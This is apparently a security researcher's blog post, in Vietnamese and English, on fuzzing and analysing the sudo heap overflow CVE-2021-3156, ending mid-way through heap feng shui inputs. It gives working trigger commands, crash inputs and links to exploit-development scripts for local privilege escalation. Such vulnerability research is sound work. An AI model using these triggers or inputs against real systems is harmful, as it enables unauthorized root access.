Linux Privilege Escalation

CVE-2021-3156 > Exploiting heap-based buffer overflow in sudo for privilege escalation

Improper handling of escaped space leads to copying data pass null terminator, causing buffer overflow on the heap.

I learnt: Fuzzing với AFL++; viết fuzzer với python; kiểm soát arg và env của process; uid = chủ process, euid = OS check quyền; kernel drop suid bit; sử dụng named pipe để truyền message.

March 19, 2026 nday

Why pick sudo as a research target?

  • Widely use.
  • Large codebase -> more attack surfaces.
  • Actively being developed -> more code haven’t been audited -> more likely to be vulnerable.

Fuzzing is not easy

Code to như vậy thì biết đọc bắt đầu từ đâu? Mình thử tiếp cận theo hướng grey-box fuzzing với AFL++ xem?

Trước mình chuẩn bị environment để fuzz với docker tại đây: https://github.com/ngtuonghung/CVE-2021-3156/blob/main/Dockerfile. Đáng lẽ OS phù hợp phải là Ubuntu 20.04, nhưng Dockerfile mình để 22.04 vì mình thử build AFL++ ở 20.04 không được, có thể là do không còn được support.

AFL++ là stdin-based hoặc file-based fuzzing, nhưng sudo cần truyền arguments. Qua google search, mình biết được sử dụng argv-fuzz-inl.h, gọi AFL_INIT_ARGV() ngay đầu hàm main() để lấy input từ stdin, ghi đè argv[].

Thêm vào source code như sau:

--- ./sudo-1.8.31p2/src/sudo.c	2020-06-12 06:14:53.000000000 -0700
+++ ./sudo-1.8.31p2/src/sudo.c	2021-03-16 06:32:56.655334720 -0700
@@ -68,6 +68,7 @@
 #include "sudo.h"
 #include "sudo_plugin.h"
 #include "sudo_plugin_int.h"
+#include "argv-fuzz-inl.h"
 
 /*
  * Local variables
@@ -134,6 +135,7 @@
 int
 main(int argc, char *argv[], char *envp[])
 {
+	AFL_INIT_ARGV();
     int nargc, ok, status = 0;
     char **nargv, **env_add;
     char **user_info, **command_info, **argv_out, **user_env_out;

Rồi xem build instruction:

cat INSTALL | head -n 60 | tail -n 35

Về cơ bản là configure -> make -> make install.

Mình sẽ instrument sudo với afl-clang-fast:

cd sudo-1.8.31p2
rm -rf sudo_afl
mkdir sudo_afl
cd sudo_afl
CC=afl-clang-fast ../configure --disable-shared
make -j$(nproc)
touch /etc/sudoers
cd ..

Ngoài sudo bình thường, sudo còn có mode khác gọi là sudoedit, cho phép edit file với quyền hạn cao một cách an toàn, và sudoedit là symlink tới sudo.

SUDO(8)                                                                         System Manager's Manual                                                                       SUDO(8)

NAME
       sudo, sudoedit — execute a command as another user

SYNOPSIS
       sudo -h | -K | -k | -V
       sudo -v [-ABkNnS] [-g group] [-h host] [-p prompt] [-u user]
       sudo -l [-ABkNnS] [-g group] [-h host] [-p prompt] [-U user] [-u user] [command [arg ...]]
       sudo [-ABbEHnPS] [-C num] [-D directory] [-g group] [-h host] [-p prompt] [-R directory] [-r role] [-t type] [-T timeout] [-u user] [VAR=value] [-i | -s] [command [arg ...]]
       sudoedit [-ABkNnS] [-C num] [-D directory] [-g group] [-h host] [-p prompt] [-R directory] [-r role] [-t type] [-T timeout] [-u user] file ...

Nhưng làm sao sudo biết là mình gọi sudo hay là sudoedit?

Tại hàm parse_args(), sudo kiểm tra xem tên chương trình được gọi (progname) có độ dài ít nhất là 5 và kết thúc với “edit” hay không để xác định edit mode được gọi. Để ý là chỉ check “edit” chứ không phải cả “sudoedit”.

Vì AFL_INIT_ARGV() đọc vào cả argv[0], mình nên vào được edit mode khi gửi sudoedit vào stdin nhỉ?

/pwn/sudo-1.8.31p2# echo -en 'sudo\0' | ./sudo_afl/bin/sudo
usage: sudo -h | -K | -k | -V
usage: sudo -v [-AknS] [-g group] [-h host] [-p prompt] [-u user]
usage: sudo -l [-AknS] [-g group] [-h host] [-p prompt] [-U user] [-u user] [command]
usage: sudo [-AbEHknPS] [-C num] [-g group] [-h host] [-p prompt] [-T timeout] [-u user] [VAR=value] [-i|-s] [<command>]
usage: sudo -e [-AknS] [-C num] [-g group] [-h host] [-p prompt] [-T timeout] [-u user] file ...

/pwn/sudo-1.8.31p2# echo -en 'sudoedit\0' | ./sudo_afl/bin/sudo
usage: sudo -h | -K | -k | -V
usage: sudo -v [-AknS] [-g group] [-h host] [-p prompt] [-u user]
usage: sudo -l [-AknS] [-g group] [-h host] [-p prompt] [-U user] [-u user] [command]
usage: sudo [-AbEHknPS] [-C num] [-g group] [-h host] [-p prompt] [-T timeout] [-u user] [VAR=value] [-i|-s] [<command>]
usage: sudo -e [-AknS] [-C num] [-g group] [-h host] [-p prompt] [-T timeout] [-u user] file ...

Nhưng bảng usage hiện ra vẫn là của sudo, không phải sudoedit? Liệu progname có chắc là argv[0], là sudoedit? Hay nó vẫn là sudo? Lý do là ở hàm main() gọi đến initprogname(), truyền vào argv[0]:

Hàm này có chức năng là lấy tên của binary sau dấu / cuối cùng. Nhưng lại có nhiều path để lấy progname tùy vào môi trường sudo chạy. Nói ngắn gọn, khi mình gõ echo -en 'sudoedit\0' | ./sudo_afl/bin/sudo vào shell và nhấn enter, execve("./sudo_afl/bin/sudo", ["sudoedit"], NULL) sẽ được gọi. Các path lấy progname mà mình đã bỏ đi ở dưới tách tên của binary ở ./sudo_afl/bin/sudo thay vì làsudoedit. Nên chỉ việc bỏ đi và để lại path lấy từ sudoedit là được:

#include <config.h>

#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#ifdef HAVE_STRING_H
# include <string.h>
#endif /* HAVE_STRING_H */
#ifdef HAVE_STRINGS_H
# include <strings.h>
#endif /* HAVE_STRINGS_H */

#include "sudo_compat.h"
#include "sudo_util.h"

// #ifdef HAVE_GETPROGNAME

// void
// initprogname(const char *name)
// {
// ...
// }

// #else /* !HAVE_GETPROGNAME */

static const char *progname = "";

void
initprogname(const char *name)
{
// # ifdef HAVE___PROGNAME
//     extern const char *__progname;

//     if (__progname != NULL && *__progname != '\0')
// 	progname = __progname;
//     else
// # endif
    if ((progname = strrchr(name, '/')) != NULL) {
	progname++;
    } else {
	progname = name;
    }

    /* Check for libtool prefix and strip it if present. */
    if (progname[0] == 'l' && progname[1] == 't' && progname[2] == '-' &&
	progname[3] != '\0')
	progname += 3;
}

const char *
sudo_getprogname(void)
{
    return progname;
}
// #endif /* !HAVE_GETPROGNAME */

Build lại, và giờ mình đã có usage của sudoedit:

/pwn/sudo-1.8.31p2# echo -en 'sudo\0' | ./sudo_afl/bin/sudo
usage: sudo -h | -K | -k | -V
usage: sudo -v [-AknS] [-g group] [-h host] [-p prompt] [-u user]
usage: sudo -l [-AknS] [-g group] [-h host] [-p prompt] [-U user] [-u user] [command]
usage: sudo [-AbEHknPS] [-C num] [-g group] [-h host] [-p prompt] [-T timeout] [-u user] [VAR=value] [-i|-s] [<command>]
usage: sudo -e [-AknS] [-C num] [-g group] [-h host] [-p prompt] [-T timeout] [-u user] file ...

/pwn/sudo-1.8.31p2# echo -en 'sudoedit\0' | ./sudo_afl/bin/sudo
usage: sudoedit [-AknS] [-C num] [-g group] [-h host] [-p prompt] [-T timeout] [-u user] file ...

Linux kernel có những restriction nhất định, khiến cho AFL++ không giữ được setuid bit khi fuzz binary. Nên hoặc là mình fuzz với user thường, khi đấy uid và euid mà binary thấy là khác 0 (ví dụ 1000, do không giữ được setuid bit), hoặc là mình fuzz với quyền root luôn, uid và euid đều là 0. Nhưng mà mục đích của sudo là bật setuid bit để user thường chạy được nó với quyền hạn cao hơn, để uid = 1000 và euid = 0.

Mình giải quyết bằng cách patch luôn source code để uid = 1000, sau đó fuzz với quyền root, thì giữ được euid = 0, đúng với mục đích của sudo.

Giờ mình tạo 2 test case ví dụ:

mkdir /tmp/in
mkdir /tmp/out
echo -en 'sudo\0-h\0' > /tmp/in/1
echo -en 'sudoedit\0-h\0' > /tmp/in/2
echo core | tee /proc/sys/kernel/core_pattern

Mình cần chạy lệnh này trên host machine thì AFL++ mới fuzz được:

echo performance | sudo tee /sys/devices/system/cpu/cpu*/cpufreq/scaling_governo

Ở trong container, mình chạy 4 instances của AFL++:

afl-fuzz -i /tmp/in/ -o /tmp/out -M master ./sudo_afl/bin/sudo
afl-fuzz -i /tmp/in/ -o /tmp/out -S slave1 ./sudo_afl/bin/sudo
afl-fuzz -i /tmp/in/ -o /tmp/out -S slave2 ./sudo_afl/bin/sudo
afl-fuzz -i /tmp/in/ -o /tmp/out -S slave3 ./sudo_afl/bin/sudo

We found some crashes

Sau vài phút thì mình có được 3 crash:

/pwn/sudo-1.8.31p2# ls -la /tmp/out/*/crashes/
/tmp/out/master/crashes/:
total 16
drwx------ 2 root root 4096 Mar 21 10:01 .
drwx------ 6 root root 4096 Mar 21 10:09 ..
-rw------- 1 root root  555 Mar 21 10:01 README.txt
-rw------- 1 root root   93 Mar 21 10:01 id:000000,sig:06,src:000292,time:375777,execs:447899,op:havoc,rep:4

/tmp/out/slave1/crashes/:
total 16
drwx------ 2 root root 4096 Mar 21 09:58 .
drwx------ 6 root root 4096 Mar 21 10:09 ..
-rw------- 1 root root  555 Mar 21 09:58 README.txt
-rw------- 1 root root  154 Mar 21 09:58 id:000000,sig:06,src:000409,time:134207,execs:175654,op:havoc,rep:3

/tmp/out/slave2/crashes/:
total 8
drwx------ 2 root root 4096 Mar 21 09:55 .
drwx------ 6 root root 4096 Mar 21 10:09 ..

/tmp/out/slave3/crashes/:
total 16
drwx------ 2 root root 4096 Mar 21 09:58 .
drwx------ 6 root root 4096 Mar 21 10:09 ..
-rw------- 1 root root  555 Mar 21 09:58 README.txt
-rw------- 1 root root  604 Mar 21 10:04 id:000000,sig:06,src:000384,time:131432,execs:168899,op:havoc,rep:3

Giờ mình sẽ build lại sudo với ASAN để check xem crash ở đâu:

rm -rf sudo_asan
mkdir sudo_asan
cd sudo_asan
CFLAGS="-O1 -g3 -fno-omit-frame-pointer -fsanitize=address,undefined" LDFLAGS="-fsanitize=address,undefined" ../configure --disable-shared
make -j$(nproc)
cd ..

Crash đầu tiên ở hàm set_cmnd():

/pwn/sudo-1.8.31p2# cat /tmp/out/master/crashes/id* | ./sudo_asan/bin/sudo
=================================================================
==3531710==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5070000003e2 at pc 0x5cd3fb8b6516 bp 0x7ffd47002fa0 sp 0x7ffd47002f90
WRITE of size 1 at 0x5070000003e2 thread T0
    #0 0x5cd3fb8b6515 in set_cmnd ../../../plugins/sudoers/sudoers.c:868
    #1 0x5cd3fb8b6515 in sudoers_policy_main ../../../plugins/sudoers/sudoers.c:306
    #2 0x5cd3fb89ba79 in sudoers_policy_check ../../../plugins/sudoers/policy.c:872
    #3 0x5cd3fb85597b in policy_check ../../src/sudo.c:1142
    #4 0x5cd3fb85597b in main ../../src/sudo.c:255
    #5 0x727cd58cbd8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #6 0x727cd58cbe3f in __libc_start_main_impl ../csu/libc-start.c:392
    #7 0x5cd3fb821084 in _start (/pwn/sudo-1.8.31p2/sudo_asan/bin/sudo+0x1aa084)

0x5070000003e2 is located 0 bytes to the right of 66-byte region [0x5070000003a0,0x5070000003e2)
allocated by thread T0 here:
    #0 0x727cd61d0887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x5cd3fb8b5444 in set_cmnd ../../../plugins/sudoers/sudoers.c:854
    #2 0x5cd3fb8b5444 in sudoers_policy_main ../../../plugins/sudoers/sudoers.c:306
    #3 0x5cd3fb89ba79 in sudoers_policy_check ../../../plugins/sudoers/policy.c:872
    #4 0x5cd3fb85597b in policy_check ../../src/sudo.c:1142
    #5 0x5cd3fb85597b in main ../../src/sudo.c:255
    #6 0x727cd58cbd8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58

Crash tiếp theo cũng ở hàm set_cmnd():

/pwn/sudo-1.8.31p2# cat /tmp/out/slave1/crashes/id* | ./sudo_asan/bin/sudo
=================================================================
==3531712==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50d000000195 at pc 0x5952f2edc516 bp 0x7ffc73d7c840 sp 0x7ffc73d7c830
WRITE of size 1 at 0x50d000000195 thread T0
    #0 0x5952f2edc515 in set_cmnd ../../../plugins/sudoers/sudoers.c:868
    #1 0x5952f2edc515 in sudoers_policy_main ../../../plugins/sudoers/sudoers.c:306
    #2 0x5952f2ec1a79 in sudoers_policy_check ../../../plugins/sudoers/policy.c:872
    #3 0x5952f2e7b97b in policy_check ../../src/sudo.c:1142
    #4 0x5952f2e7b97b in main ../../src/sudo.c:255
    #5 0x7aa48094cd8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #6 0x7aa48094ce3f in __libc_start_main_impl ../csu/libc-start.c:392
    #7 0x5952f2e47084 in _start (/pwn/sudo-1.8.31p2/sudo_asan/bin/sudo+0x1aa084)

0x50d000000195 is located 0 bytes to the right of 133-byte region [0x50d000000110,0x50d000000195)
allocated by thread T0 here:
    #0 0x7aa481251887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x5952f2edb444 in set_cmnd ../../../plugins/sudoers/sudoers.c:854
    #2 0x5952f2edb444 in sudoers_policy_main ../../../plugins/sudoers/sudoers.c:306
    #3 0x5952f2ec1a79 in sudoers_policy_check ../../../plugins/sudoers/policy.c:872
    #4 0x5952f2e7b97b in policy_check ../../src/sudo.c:1142
    #5 0x5952f2e7b97b in main ../../src/sudo.c:255
    #6 0x7aa48094cd8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58

Có vẻ là cùng một crash.

Mình check crash tiếp theo nhưng mà có vẻ là false positive:

/pwn/sudo-1.8.31p2# cat /tmp/out/slave3/crashes/id* | ./sudo_asan/bin/sudo
usage: h.h...su.-`
00000090: 6464647374fa6f002d73              dddst.o.-s
 -h | -K | -k | -V
usage: h.h...su.-`
00000090: 6464647374fa6f002d73              dddst.o.-s
 -v [-AknS] [-g group] [-h host] [-p prompt] [-u user]
usage: h.h...su.-`
00000090: 6464647374fa6f002d73              dddst.o.-s
 -l [-AknS] [-g group] [-h host] [-p prompt] [-U user] [-u user] [command]
usage: h.h...su.-`
00000090: 6464647374fa6f002d73              dddst.o.-s
 [-AbEHknPS] [-C num] [-g group] [-h host] [-p prompt] [-T timeout] [-u user] [VAR=value] [-i|-s] [<command>]
usage: h.h...su.-`
00000090: 6464647374fa6f002d73              dddst.o.-s
 -e [-AknS] [-C num] [-g group] [-h host] [-p prompt] [-T timeout] [-u user] file ...

Giờ mình sẽ minimize test case gây crash đầu tiên và test lại với ASAN:

/pwn/sudo-1.8.31p2# afl-tmin -i "/tmp/out/slave1/crashes/id:000000,sig:06,src:000409,time:134207,execs:175654,op:havoc,rep:3" -o ./minimized_crashed ./sudo_afl/bin/sudo
/pwn/sudo-1.8.31p2# xxd minimized_crashed 
00000000: 3065 6469 7400 2d68 3000 2d69 0030 3030  0edit.-h0.-i.000
00000010: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
00000020: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
00000030: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
00000040: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
00000050: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
00000060: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
00000070: 305c 0030 3030 3030 3030 3030 3030 3030  0\.0000000000000
00000080: 3030 3030 30                             00000
/pwn/sudo-1.8.31p2# cat minimized_crashed | ./sudo_asan/bin/sudoedit
=================================================================
==3531914==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50c0000002f9 at pc 0x58be6dc24516 bp 0x7fff6cc88530 sp 0x7fff6cc88520
WRITE of size 1 at 0x50c0000002f9 thread T0
    #0 0x58be6dc24515 in set_cmnd ../../../plugins/sudoers/sudoers.c:868
    #1 0x58be6dc24515 in sudoers_policy_main ../../../plugins/sudoers/sudoers.c:306
    #2 0x58be6dc09a79 in sudoers_policy_check ../../../plugins/sudoers/policy.c:872
    #3 0x58be6dbc397b in policy_check ../../src/sudo.c:1142
    #4 0x58be6dbc397b in main ../../src/sudo.c:255
    #5 0x73bf7f4bed8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #6 0x73bf7f4bee3f in __libc_start_main_impl ../csu/libc-start.c:392
    #7 0x58be6db8f084 in _start (/pwn/sudo-1.8.31p2/sudo_asan/bin/sudo+0x1aa084)

Vậy là progname kết thúc với “edit”, sau đó là flag -h, rồi -i, rồi backslash.

Root cause analysis

Lỗi heap buffer overflow nằm tại hàm set_cmnd() ở file sudoers.c dòng 868. Ở đây chương trình loop bắt đầu từ NewArgv + 1 (là mảng các arguments đến từ user input), tính tổng độ dài các argument (+1 cho space hoặc null) vào size, rồi cấp phát một chunk với kích thước là size cho user_args, để xây dựng một chuỗi arguments liên tục hoàn chỉnh, kết thúc bằng null byte.

Trong for loop sau đó, copy từng byte từ from (trỏ đến từng argument) đến to (nơi cần xây dựng chuỗi). Vì các arguments được phân bởi space (*to++ = ’ ‘), nên cần phải escape space nằm trong 1 argument (nghĩa là copy nguyên cả backslash và space), còn với các ký tự khác space sau backslash, chương trình cần unescape nên skip luôn backslash và copy ký tự đó, hàm cho rằng các ký tự này trước đó đã được escape (input từ shell) nên cần phải unescape lại.

Nhưng điều gì xảy ra nếu nằm sau backslash là null? Mục đích của null là đánh dấu kết thúc argument rồi, nhưng vì chương trình skip backslash, copy luôn null byte sau đó, rồi lại from++ (vượt ra sau null). Dù argument đã kết thúc tại null, nhưng chương trình vẫn tiếp tục copy dữ liệu đằng sau đó, dẫn đến buffer overflow.

How do we get here?

Để đến được đây 1 trong 3 mode MODE_RUN | MODE_EDIT | MODE_CHECK và 1 trong 2 MODE_SHELL|MODE_LOGIN_SHELL cần được set.

Nhìn vào file parse_args.c, mình set được MODE_SHELL qua flag -s:

MODE_LOGIN_SHELL qua flag -i:

Nếu MODE_LOGIN_SHELL được set, thì nó set luôn cả MODE_SHELL:

Ok vậy MODE_RUN thì sao? Nó được set khi chưa có mode nào được set:

Vậy là ok trigger được bug rồi chứ? Vì mình đang Ctrl + F cái MODE_RUN nên nhìn thấy đoạn code này:

Ở đây nó đã escape các ký tự đặc biệt (không phải ALphaNUMeric), escape luôn cả backslash, thế thì bug ở kia đâu còn bị trigger nữa? Vậy thì mình không nên set MODE_RUN hoặc MODE_SHELL, nhưng mà MODE_SHELL bắt buộc phải có rồi, nên chỉ còn cách là set MODE_EDIT hoặc MODE_CHECK. Với MODE_EDIT, chính là khi mình chạy sudoedit. MODE_EDIT còn được set với flags -e, và MODE_CHECK còn được set khi MODE_LIST được set với flags -l, nhưng mà chúng đều dẫn tới set MODE_NONINTERACTIVE (flag restriction, không set được MODE_SHELL).

Ok giờ mình sẽ build lại sudo với debug symbol và tắt toàn bộ optimization:

rm -rf sudo
mkdir sudo
cd sudo
CFLAGS="-g3 -O0 -fno-inline" ../configure --disable-shared --prefix="$PWD"
make -j$(nproc)
make install
cd ..

Thử với flags -s và -i:

/pwn/sudo-1.8.31p2# ./sudo/bin/sudoedit -s 'AAAA\'
malloc(): invalid next size (unsorted)
Aborted
/pwn/sudo-1.8.31p2# ./sudo/bin/sudoedit -i 'AAAA\'
malloc(): invalid next size (unsorted)
Aborted

(Với AFL_INIT_ARGV(), from trỏ tới trên bss, nên sudo với afl cần chuỗi sau backslash để trigger overflow).

Debugging sudo

Chạy trực tiếp như trên thì trigger được bug, nhưng gdb rồi chạy thì không được (vì không giữ được setuid bit), vậy nên cần chạy gdb với quyền root.

$ sudo gdb --args ./sudo-1.8.31p2/sudo/bin/sudoedit -s 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\'
pwndbg> b sudoers.c:868
pwndbg> r

Giờ mình quan sát lúc copy ký tự trước backslash:

Continue, bây giờ from đã trỏ đến null, vì backslash đã được skip:

pwndbg> c

b► 0x55aa16f6188e <set_cmnd+1512>    mov    rdx, qword ptr [rbp - 0x30]     RDX, [{from}] => 0x7ffd90c2969a ◂— 0x2f3d4c4c45485300

Continue lần nữa, copy null byte từ from đến to, from giờ trỏ đến nơi có vẻ như là env var:

pwndbg> c

b► 0x55aa16f6188e <set_cmnd+1512>    mov    rdx, qword ptr [rbp - 0x30]     RDX, [{from}] => 0x7ffd90c2969b ◂— 'SHELL=/bin/bash'

Mình confirm bằng cách xem __environ:

pwndbg> tele __environ
00:0000│+4c8 0x7ffd90c27e78 —▸ 0x7ffd90c2969b ◂— 'SHELL=/bin/bash'
01:0008│+4d0 0x7ffd90c27e80 —▸ 0x7ffd90c296ab ◂— 'COLORTERM=truecolor'
02:0010│+4d8 0x7ffd90c27e88 —▸ 0x7ffd90c296bf ◂— 'SUDO_GID=1000'

Vậy thì thật hợp lý nếu mình muốn clear đống env var này và cho dữ liệu mình kiểm soát vào:

import os, subprocess, signal

open("/tmp/g.gdb", "w").write(
"""
	set breakpoint pending on
	# b sudoers.c:868
	b sudoers.c:872
	continue
	continue
	continue
""")

p = subprocess.Popen(
    args=['./sudo-1.8.31p2/sudo/bin/sudoedit', '-s', 'A' * 0x20 + '\\'],
    env={"BBBBBBBBBBBBBBBB": "CCCCCCCCCCCCCCCC"})
p.send_signal(signal.SIGSTOP)

# sudo python3 run.py
os.execvp("gdb", [
	"gdb",
	"-q",
	"-x", "/tmp/g.gdb",
	"-p", str(p.pid)
])

Cần quyền root vì gdb không giữ được setuid bit (trong docker container mình đã là root rồi nên không cần sudo nữa):

python3 run.py

Ok vậy confirm là mình có thể overflow độ dài tùy ý trên heap.

Allocated chunk | PREV_INUSE
Addr: 0x555555668df0
Size: 0xa0 (with flag bits: 0xa1)

Allocated chunk | PREV_INUSE
Addr: 0x555555668e90
Size: 0x30 (with flag bits: 0x31)

Free chunk (unsortedbin) | IS_MMAPED
Addr: 0x555555668ec0
Size: 0x4242424242424240 (with flag bits: 0x4242424242424242)
fd: 0x4343434343433d42
bk: 0x4343434343434343

So what now?

Mình tìm được crash rồi, giờ sao? Làm sao khai thác được nó nhỉ? Mình có thể overflow gần như là tuỳ ý trên heap, vậy mình có 2 hướng:

  1. Overflow ghi đè metadata để khai thác cơ chế của heap.
  2. Overflow ghi đè data của object nào đó trên heap để chương trình sử dụng sai data.

Vậy hướng nào thì ổn? Bình thường lúc chơi CTF, với những bài khai thác heap, chương trình thường có menu, mình có thể tương tác nhiều lần với chương trình, rồi từ đó heap fengshui để đọc ghi tuỳ ý.

Nhưng mà ở sudo này, mình chỉ có một lần tương tác để gây bug, là khi truyền arguments. Vậy với hướng 1, thì khả năng là hơi khó. Chưa tính đến việc bypass ASLR, khó mà overwrite metadata hợp lệ.

Vậy hướng 2 thì sao? Mình overflow để ghi đè data của object, nhưng mà object nào? Làm sao mà mình biết user_args được cấp phát ở đâu trên heap, và các chunk đằng sau đó chứa object nào? Mà kể cả có ghi đè được data, metadata trên heap đã bị corrupt, chắc gì chương trình chạy được đến lúc sử dụng data mình ghi? Nói chung việc kiểm soát được heap layout để đi theo hướng này khá là khoai, nhưng thử xem.

Heap fengshui

Ý tưởng đó là mình sẽ bruteforce heap layout, hy vọng mình sẽ may mắn tìm được 1 layout hoàn hảo mà mình có thể overflow từ user_args đến object mục tiêu nào đó ở đằng sau trên heap, và các chunk ở giữa chúng mà bị ghi đè không khiến cho chương trình bị crash trước khi object mục tiêu được sử dụng.

Mình nghĩ chỉ có 2 source mà một user bình thường có thể input vào sudo đó là arguments và environment variables, nhưng biết cái nào gây malloc hay free ảnh hưởng đến heap layout? Mình thử tìm xem sao?

Mình đã tìm được bug trong docker container rồi, giờ mình muốn dev exploit ở trên Ubuntu 20.04 VM, với phiên bản glibc là 2.31 cho gần với môi trường thực tế nhất, mình có sẵn script setup VM ở đây:

https://github.com/ngtuonghung/CVE-2021-3156/blob/main/ubuntu-vm-setup.sh

Mình setup một số thứ để debug tiện và dễ dàng hơn, script này không phải viết được luôn ngay lần đầu, mà mình đã chỉnh sửa nhiều trong khi debug.

Sau đó build lại sudo, nhưng giờ mình chỉ bật mỗi debug symbol lên, còn lại là mặc định theo như build instruction.

tar -xvf sudo-1.8.31p2.tar.gz
cd sudo-1.8.31p2
CFLAGS="-g3" ./configure --prefix="/etc" && make -j$(nproc) && make install
cd ..

Với arguments trước đi, mình sẽ bruteforce độ dài của chuỗi sau flag -s, và thêm ngẫu nhiên các flags khác vì có thể heap layout sẽ thay đổi dựa vào flags được bật.

/etc/bin/sudoedit
usage: sudoedit [-AknS] [-C num] [-g group] [-h host] [-p prompt] [-T timeout] [-u user] file ...

Bây giờ với environment variables, mình tìm trong source code những nơi gọi getenv():

Ít quá nhỉ? Mình thử break tại main, rồi break tại malloc rồi quan sát xem có cái gì có vẻ liên quan đến cấp phát khi sử dụng env var không (nhớ là gdb phải chạy với root nếu không sẽ drop suid bit):

pwndbg> start
pwndbg> b *__libc_malloc
pwndbg> c

Hmm nhìn mấy cái UTF-8 này có vẻ quen quen, mình nhớ nó xuất hiện trong env var nào đó thì phải?

Mà malloc được gọi trong hàm setlocale(), trong hàm main():

int
main(int argc, char *argv[], char *envp[])
{
    ...

    setlocale(LC_ALL, "");
    bindtextdomain(PACKAGE_NAME, LOCALEDIR);
    textdomain(PACKAGE_NAME);

    ...

Ok đọc thử man page mình thấy nó sử dụng khá nhiều env var:

Value được truyền vào phải có dạng như sau và phải hợp lệ (xem bằng lệnh locale -a):

$ locale -a
C
C.UTF-8
en_AG
en_AG.utf8
...
...

Mà cái @modifer có vẻ như mình có thể nhập tuỳ ý, để khi setlocale() cố gắng load file tương ứng sẽ gọi đến malloc() (ChatGPT bảo vậy :v).

Fuzz the heap

Vể ý tưởng của scripts, mình tạo các arguments và env với độ dài ngẫu nhiên tuỳ ý rồi cho vào sudo, nếu sudo crash và trả về status code là SIGSEGV (chỉ quan tâm đến cái này vì inputs của mình có thể đã ghi đè con trỏ nào đó), mình sẽ chạy lại với arg và env đó 1 lần nữa nhưng attach gdb vào để lấy backtrace xem nó đã crash ở đâu. Và dựa vào nơi bị crash, mình check xem có crash nào có thể lợi dụng để thực thi mã tuỳ ý hay không.

Để có được các script dưới đây, mình đã thử nghiệm và tinh chỉnh rất nhiều thứ.

Ban đầu mình viết trong duy nhất 1 scripts, chạy sudo ở process con, sau đó chạy gdb ở một process con khác để attach vào sudo lấy backtrace. Mình có tìm được các crash có thể được lợi dụng để ACE. Nhưng mình vẫn quen tay chạy scripts với quyền root (để gdb không bị drop suid bit), nghĩa là chạy cả sudo với quyền root, nhưng mục đích của sudo là có suid bit cho user thường chạy. Mặc dù ACE được, nhưng mình chạy script với quyền root, không đúng với thực tế, khi thử chạy script với user bình thường, exploit không thành công bởi vì có thể heap layout đã khác.

Mình thêm code để drop quyền khi chạy sudo về user thường bằng setresuid() (script vẫn chạy với quyền root), tưởng đã ngon ăn nhưng không được. Để chạy process con, mình thử subprocess, fork + os.execve, rồi fork + ctype execve, chúng đều có thể chạy được process con nhưng vì lý do nào đó heap layout lại khác nhau, và có khi còn thay đổi thứ tự env mà mình truyền vào. Mình chọn fork + ctype execve vì mình kiểm soát được ổn nhất.

Cuối cùng mình nghĩ tới việc tách làm 2 scripts, 1 script chạy sudo với quyền user thường, script còn lại chạy gdb với quyền root để có thể attach. Nhưng cách này mình nghĩ là chậm hơn vì cần phải giao tiếp và đồng bộ giữa 2 scripts. Cần phải có cơ chế truyền pid của sudo được chạy đến script gdb để attach được, và mình thử với named pipe. Mình tăng tốc độ thêm bằng sử dụng thực thi song song trên nhiều CPU và nó đã tìm được crash có thể ACE. Thanks, Claude.

Script spawn sudo với quyền user thường, sử dụng execve từ ctypes, ghi arg và env vào file ở thư mục hiện tại, ghi pid vào named pipe. Mỗi CPU core sẽ ghi vào pipe riêng:

https://github.com/ngtuonghung/CVE-2021-3156/blob/main/fengshui/heapbf.py

Script attach gdb vào sudo, đọc pid từ named pipe tương ứng, đọc stack trace, lưu vào thư mục (tên hàm nơi bị crash) tương ứng, tên file là md5 hash của 5 line đầu sau dòng báo lỗi SIGSEGV:

https://github.com/ngtuonghung/CVE-2021-3156/blob/main/fengshui/attach.py

Sau khoảng vài chục nghìn attempt, mình tìm được RẤT nhiều crash ở nhiều nơi thú vị khác nhau (ở đây mình filter bớt ra với điều kiện trong script), nhưng một trong số đó là crash tại hàm tsearch() được gọi trong nss_lookup_function():

Xem stack trace của nó:

Inputs đã gây ra crash này:

{
  "arg": [
    "/etc/bin/sudoedit",
    "-A",
    "-s",
    "lllllllllllllllllllllllllllllllllllllllllllllllllllllll\\",
    "kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk"
  ],
  "env": {
    "X": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
    "LC_COLLATE": "C.UTF-8@PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP",
